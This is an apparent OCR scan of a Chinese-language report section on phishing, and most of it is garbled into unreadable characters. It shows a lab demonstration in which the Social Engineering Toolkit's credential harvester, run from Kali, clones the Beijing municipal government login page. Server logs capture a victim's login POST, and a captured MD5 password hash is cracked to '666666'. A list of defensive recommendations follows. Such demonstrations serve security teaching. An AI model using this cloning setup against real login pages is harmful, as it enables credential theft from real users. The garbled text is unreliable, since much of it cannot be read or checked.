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O AFPER - FERRE x

O @

BIMSIX BIMISETS | BMAEETS | BERETS | FREAME | TEES | GHRES | FANES | ATCUES | RRES | REINES | ROBE | Sfses
MRS T

A =7-zE83

B 6.2.13 AT F A

Rk Kkali AP RDBITIIKTFH  doB 6.2.14 T

192.168.0.110 - - [09/Feb/2021 17:54:43] "GET / HTTP/1.1" 200 -
192.168.0.110 - - [09/Feb/2021 17:54:43] "GET /favicon.ico HTTP/1.1" 404 -

PARAM: type=company

PARAM: code=ED2D

192.168.0.110 - - [09/Feb/2021 18:01:13] "POST /index.php?c=welcome&m=1loginSub HTTP/1.1" 302 -

B 6.2.14 m3h Yo 3|k 2 52 4

T @ HZAV—ANBUT R 55, b db WA TR AL AR E

B ANABRREN&E, 4wk 6.2.15 Fra:
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The People’s Government of Baging Municipaiity

B dtmhs—SrAETA meas

FEROENFEUF RIS UEPSARIEERSOE. BRERAEAN

Exmsis =0s aE = BFIRF

i\ Fekgna
B 6.2.15 B X Rk

EMEHHLE—T, 4B 6.2.16 Fi7, MARIHEE %,

3 > IP address for the POST back in Harvester/Tabnabbing [192.168.0.109]:
SET supports both HTTP and HTTPS
E\imﬂl? http://ww .thisisafakesite.com
> Enter the url to clon ps://bjt.beijing.gov.cn/renzheng/p/login/login.html?pubKey=MIGfMABGCSqGSIb3DQEB
QUAA#GNA 31QKBgQC/vIWawbeF8MgZAn onSdReY9XPe5n0BUTQAdOGBIFmTPK7HI9EEGSZOp+tQaJ7NMuhGYCX+FIxKkm k2P1pzNJjBNw/NLQjb
vNuEuDd1vZwHfe82cOKf iPCmFNkBH501WvQ5Pq81taYeAkC5v@jeHtGyNzTyeT47YeKn6QIDAQAB

K 6.2.16 M T T

HAVHIN 192.168.0.109 Wik, s 3h &R 6, REMATK S :

dongwne long, &4 666666, 408 6.2.17 B

XA LTRIEAD, RAMERIMAN—ANRE EHE Ko
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(4 C 0O % o 6« hitpy//192.168.0.109/ $ v Q one x- B- §- &A- B o =

Q (7)) b5 A RBAE

The People's Govemment of Befing Municipality

B dtzmsm—stikERs

& ExmERS EE @ BE mFuRE

& =ewses

B 6.2.17 MR
Kali RASKILT 5%, AR TR FAL, B AT A #43)]

T MD5 % j5 69 5% AL, ] 6.2.18 P

192.168.0.106 - - [09/Feb/2021 18:11:13] "POST /renzheng/inner/login/doUserLoginByPwd HTTP/1.1" 382 -

B 6.2.18 mIdhik & 5
AN E omd5. com HEATALAE, 4o B 6. 2. 19 BT 5 s il oy 58 21
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250078, ZRAMTEEIS%LL, RESREROEFATIEN, B200650EEETHRE, BRITEES.

B EEeE HEEmr SR>

f379eaf3c831b04de153469d1bac345e
B3

HiggR:
666666

B 6.2.19 MYy #E %

BAR BT I W b 2 X — 3 ey AR 3T — &, A2 ZARRT
AR E R, BET AT ARENF b E N Tk, e KXy
KA, (£ 1FIEAL B K AL 9% B % 7.

HAALEZR kali 89 ip RBATEME, ATERXMNAH#HLIXT
dns M FE A K, KB —TFTKRMNBEAVRL#ITHH, B2 LHRT
5] B 77 M sk e B SR IR EAT RO R & WsE, Rk AT ELEL,
e — W IFE R E — A BRGHIER B REEARE T H AN
M3k, % k8 AR S B SRR dns B, TAEAREL T AR o
T o

BATEMAAN LB T X—RAATIAFIEFIL, LRX LT
EAEF %, b T TR, BRIZK=FFTWE AN R T,

KAWES, TARZB/AIRI, ABHA RN ELFHE—HK”
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1) K =FAeZv9 2 BB ANIREY,

2) ARAFWERIAFHANIRT, K= #aRE, B2 FF
HeHF

3) KM B Ev, Bk @ T RIFINA

4) FR=A A5 S A R H

RBEALZE T AT AL T AR E 4, AHARE
FUgeR s, A ARG, A A K &ET AR IEH L T4 L,
HHARORITAH LHFRZTH. SHZEARRTREK=, BT XK
PR AR BRI R TR, KRS MEE6) ., XL AR AIK
Z R AR F, AR B A RIS A SR E AR T A,
Blhaf) I RALKZEM T MK EWEFRTAH. £, B
BART A=At s, FRTRESIEZE, TAKEH
2 LIE| 325 NETTEE

6. 3 A5 FE?
1) %505k T IR S8 T AR T O BRI A
B iE . ARBAETNALZ & Z AT I 1E 3 7T 3504 Fo MU P

2) ZBRFANERFEE TGz ramy, REibEH
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#4889 228 M TRAT T AR 69 P

3) RIZARE GEK B A KEH 08T IR4F a9 3 NEEdE .
S XA b BAAE AL F 51 EF IR B AR 25 R F 3h Hr A\ F 25 URL,

4) RIBINFfe Ko RIZH G E TR TR o RA 2L
Z, TAERPOE F AT A, EANEFSHRER LT ARG
A8,

5) B RkaMAANEXRCRERITY, LittMEHhac
RS AELH,

6) 1 A% KA K3G R Rag e fim = 18], A B 475 4k
P B B 4 2 e SRR AR A 8 0 T Ak

7) TEEMARBMERAEAT, MG KRR, ABIREKMF
BE R T R AR B AN T B A VT RE R M S 3 AR T R A

8) XixMshay URL., A B M _E&935-F 3 URL #X T m ik 892 3,
FREAFLT A THERM L

AFUEABSE T KA A

HEIRERFIEINTREGER, ANLEAG TS )
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B & BARR TAZF R0 RRA AR B HART 0K

REFM, BARAIRT ARG RF, WARERS AR X Z T
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